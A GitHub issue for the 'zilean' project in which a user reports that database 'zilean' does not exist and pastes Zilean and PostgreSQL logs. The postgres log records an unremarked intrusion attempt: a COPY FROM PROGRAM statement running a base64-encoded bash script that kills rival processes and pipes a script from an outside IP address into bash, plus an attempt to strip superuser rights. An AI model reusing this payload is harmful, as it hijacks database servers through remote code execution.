iPromKnight / zilean

88 stars 7 forks source link

Error #21

Open Neo402 opened 1 month ago

Neo402 commented 1 month ago

Many attempts no success same error. even with low-end systems .env settings

Zilean logs

at TResult
System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder1.StateM achineBox1.System.Threading.Tasks.Sources.IValueTaskSource.
GetResult(short token)
at async Task Npgsql.Internal.NpgsqlConnector.g__OpenCore|213_1(
NpgsqlConnector conn, SslMode sslMode, NpgsqlTimeout timeout, bool async,
CancellationToken cancellationToken, bool isFirstAttempt)
at async Task Npgsql.Internal.NpgsqlConnector.Open(NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.OpenNewConnector( NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken)
at async ValueTask Npgsql.PoolingDataSource.

g__RentAsync|34_0(NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken) at async Task Npgsql.NpgsqlConnection.g__OpenAsync|42_0(bool async, CancellationToken cancellationToken) at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync( Func operation, string taskMessage, CancellationToken cancellationToken) in /build/src/Zilean.Database/Services/BaseDapperService.cs:13 at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync( Func operation, string taskMessage, CancellationToken cancellationToken) in /build/src/Zilean.Database/Services/BaseDapperService.cs:14 [15:00:14] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob completed [16:00:00] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob started [16:00:00] | INFO | "Zilean.Shared.Features.Shell.ShellExecutionService" | Executing: /app/dmmscraper [16:00:01] | INFO | "Zilean.DmmScraper.Features.Python.ParseTorrentNameService" | Parser initialized and defaults added. [16:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileDownloader" | IMDB data '"title.basics.tsv"' already exists at "/app/data/title.basics.tsv". Will use records in that for import. [16:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileProcessor" | Importing Downloaded IMDB Basics data from "/app/data/title.basics.tsv" [16:00:14] | INFO | "Zilean.Database.Services.ImdbFileService" | Storing imdb metadata entries into database. [16:00:14] | EROR | "Zilean.Database.Services.ImdbFileService" | An error occurred while executing a command. Npgsql.PostgresException: 3D000: database "zilean" does not exist at async ValueTask Npgsql.Internal.NpgsqlConnector. ReadMessageLong(bool async, DataRowLoadingMode dataRowLoadingMode, bool readingNotifications, bool isReadingPrependedMessage) at TResult System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder`1.StateM achineBox`1.System.Threading.Tasks.Sources.IValueTaskSource. GetResult(short token) at async Task Npgsql.Internal.NpgsqlConnector.g__OpenCore|213_1( NpgsqlConnector conn, SslMode sslMode, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken, bool isFirstAttempt) at async Task Npgsql.Internal.NpgsqlConnector.Open(NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken) at async ValueTask Npgsql.PoolingDataSource.OpenNewConnector( NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken) at async ValueTask Npgsql.PoolingDataSource. g__RentAsync|34_0(NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken) at async Task Npgsql.NpgsqlConnection.g__OpenAsync|42_0(bool async, CancellationToken cancellationToken) at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync( Func operation, string taskMessage, CancellationToken cancellationToken) in /build/src/Zilean.Database/Services/BaseDapperService.cs:13 at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync( Func operation, string taskMessage, CancellationToken cancellationToken) in /build/src/Zilean.Database/Services/BaseDapperService.cs:14 [16:00:15] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob completed [17:00:00] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob started [17:00:00] | INFO | "Zilean.Shared.Features.Shell.ShellExecutionService" | Executing: /app/dmmscraper [17:00:01] | INFO | "Zilean.DmmScraper.Features.Python.ParseTorrentNameService" | Parser initialized and defaults added. [17:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileDownloader" | IMDB data '"title.basics.tsv"' already exists at "/app/data/title.basics.tsv". Will use records in that for import. [17:00:01] | INFO | "Zilean.DmmScraper.Features.Imdb.ImdbFileProcessor" | Importing Downloaded IMDB Basics data from "/app/data/title.basics.tsv" [17:00:14] | INFO | "Zilean.Database.Services.ImdbFileService" | Storing imdb metadata entries into database. [17:00:14] | EROR | "Zilean.Database.Services.ImdbFileService" | An error occurred while executing a command. Npgsql.PostgresException: 3D000: database "zilean" does not exist at async ValueTask Npgsql.Internal.NpgsqlConnector. ReadMessageLong(bool async, DataRowLoadingMode dataRowLoadingMode, bool readingNotifications, bool isReadingPrependedMessage) at TResult System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder`1.StateM achineBox`1.System.Threading.Tasks.Sources.IValueTaskSource. GetResult(short token) at async Task Npgsql.Internal.NpgsqlConnector.g__OpenCore|213_1( NpgsqlConnector conn, SslMode sslMode, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken, bool isFirstAttempt) at async Task Npgsql.Internal.NpgsqlConnector.Open(NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken) at async ValueTask Npgsql.PoolingDataSource.OpenNewConnector( NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken) at async ValueTask Npgsql.PoolingDataSource. g__RentAsync|34_0(NpgsqlConnection conn, NpgsqlTimeout timeout, bool async, CancellationToken cancellationToken) at async Task Npgsql.NpgsqlConnection.g__OpenAsync|42_0(bool async, CancellationToken cancellationToken) at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync( Func operation, string taskMessage, CancellationToken cancellationToken) in /build/src/Zilean.Database/Services/BaseDapperService.cs:13 at async Task Zilean.Database.Services.BaseDapperService.ExecuteCommandAsync( Func operation, string taskMessage, CancellationToken cancellationToken) in /build/src/Zilean.Database/Services/BaseDapperService.cs:14 [17:00:14] | INFO | "Zilean.ApiService.Features.Dmm.DmmSyncJob" | DmmSyncJob completed **postgres** : crontab: must be suid to work properly crontab: must be suid to work properly crontab: must be suid to work properly crontab: must be suid to work properly 2024-09-01 16:55:48.181 UTC [95981] ERROR: program "echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash" failed 2024-09-01 16:55:48.181 UTC [95981] DETAIL: child process exited with exit code 1 2024-09-01 16:55:48.181 UTC [95981] STATEMENT: DROP TABLE IF EXISTS cUqNUQfV;CREATE TABLE cUqNUQfV(cmd_output text);COPY cUqNUQfV FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM cUqNUQfV;DROP TABLE IF EXISTS cUqNUQfV; 2024-09-01 16:55:52.449 UTC [98030] ERROR: permission denied to alter role 2024-09-01 16:55:52.449 UTC [98030] DETAIL: The bootstrap user must have the SUPERUSER attribute. 2024-09-01 16:55:52.449 UTC [98030] STATEMENT: ALTER USER postgres WITH NOSUPERUSER 2024-09-01 16:56:51.639 UTC [27] LOG: checkpoint starting: time 2024-09-01 16:56:53.903 UTC [27] LOG: checkpoint complete: wrote 23 buffers (0.1%); 0 WAL file(s) added, 0 removed, 0 recycled; write=2.235 s, sync=0.010 s, total=2.264 s; sync files=20, longest=0.008 s, average=0.001 s; distance=115 kB, estimate=10615 kB; lsn=7/BF35CB50, redo lsn=7/BF35CB18 2024-09-01 17:00:14.840 UTC [98230] FATAL: database "zilean" does not exist